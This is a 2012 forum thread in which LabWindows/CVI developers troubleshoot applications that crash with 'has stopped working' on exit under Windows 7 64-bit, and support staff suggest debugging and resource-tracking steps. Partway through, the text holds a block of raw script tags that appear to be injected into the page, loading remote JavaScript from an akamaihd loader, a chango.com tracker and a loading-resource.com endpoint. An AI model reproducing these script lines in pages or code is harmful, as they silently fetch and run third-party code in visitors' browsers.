07-25-2012 12:23 PM
When closing some of my CVI programs on Windows 7 (64bit) computers, I will get the "[Program Name] (Release x86) has stopped working" prompt. One of my programs its intermittent, and another it prompts every time. It only pops up when I am trying to close my program. Does anyone else see this? I would have thought this would have been widespread but didn't see anything in the forums.
Both have Async Timers Intrument and one that crashes on close every time also has "Easy Tab Control" and CW 3D Graph. i believe Easy Tab requires 32 bit compilation of the program.
Thanks,
Nick
07-25-2012 01:25 PM
I forgot to mention that the program was created with CVI 2010 10.0.1
07-26-2012 05:09 PM
Hey ngay528,
Would it be possible for you to post a screenshot of the error you see? Is it possible for you to post the code for your program where you always experience the error so I can try to reproduce it here? If it's not possible to post your code, would you be able to provide me with detailed instructions as to how to reliably reproduce the error?
Thanks ngay528 - I definitely want to track down the source of this error!
11-20-2012 09:16 AM
I also have one Win 7 x64 machine that consistently produces a similar error message within a CVI 2012 application, '(Release x86) has stopped working' with message options to either close program or check online. Has there been any further investigation and report about this error?
<script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script> <script id="__changoScript" type="text/javascript">// var __chd__ = {'aid':11079,'chaid':'www_objectify_ca'};(function() { var c = document.createElement('script'); c.type = 'text/javascript'; c.async = true;c.src=( 'https:' == document.location.protocol ? 'https://z': 'http://p') + '.chango.com/static/c.js'; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(c, s);})(); // </script> <script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=__magnetic.init"></script>11-21-2012 09:35 AM
Hi Steve_Macha,
WIth this error message there may be multiple reasons why the program stopped working. Does this happen with all of your applications? Are there certains UI elements or function calls in the project that are not in other projects? Are you running CVI as an Administrator? Pleave provide any information about your program so I can try and reporduce this behavior. Even a small chunk of code that consistently shows this behavior would be extremely useful.
11-21-2012 12:17 PM
I still get this as well. I have not provided any source code yet, mainly because its quite a bit of code, and some may be proprietary.
What I do know is:
-It happens across multiple programs on Windows 7
-It does not crash everytime, however when it crashes, i feel like it will do it consistently if I open my program back up and try again.
Some popular functions/things I use are:
multi-threads
tab group (however still crashes on program without that)
toolbox
external dll/lib calls
I should have time in a month or so to perhaps dig into this a little deeper. I've been pretty busy lately, but glad im not the only one experiencing it 🙂
11-25-2012 11:31 AM
So far, this persistent error occurs on only one new Win7-64bit machine. Snapshots of error message details message are attached. There is some debug info within the error message, I have no information on the use of it. I have installed the distribution kit for this CVI application on other machines (Win7-64bit, and Win7-32 bit) and do not experience the problem. This program is GUI tab based. It uses the toolkit, and uses the MS Media Player. Any clues would be helpfule. Thanks.
11-26-2012 11:07 AM
Hi Steve_Macha,
The error you are experiencing is generic that it is hard to narrow down exactly what may be going wrong. I know that you have utilized this particular application on other machines but is it possible that a driver or other necessary files may be missing on this new machine. I realize this is a long shot and I would have expected a more descriptive error if this was the case but it is something to double check. Also, is it possible to run the program in CVI on the machine giving you problems? My hope is that a crash would not only provide a more descriptive error but also point to where the error occurred in the code. Lastly, are there any differences in the new system such as memory, updates, ect from the 64 bit machines that are working properly?
11-28-2012 11:04 AM
it looks like your failure prompt is more descriptive than mine, but mine is pretty basic. It just crashed this time, and then didnt the second time i tried.
11-29-2012 10:30 AM
Hi Steve_Macha and ngay528,
Are both of you guys communicating with a hardware device? It may be possible that you are not freeing a handle to a device properly. Check to see if you still receive errors when the target in CVI is set to debug and also look into Resource Tracking. This tool within CVI should help make sure that anything that needs to be explicitly freed is in fact being de-allocated from memory.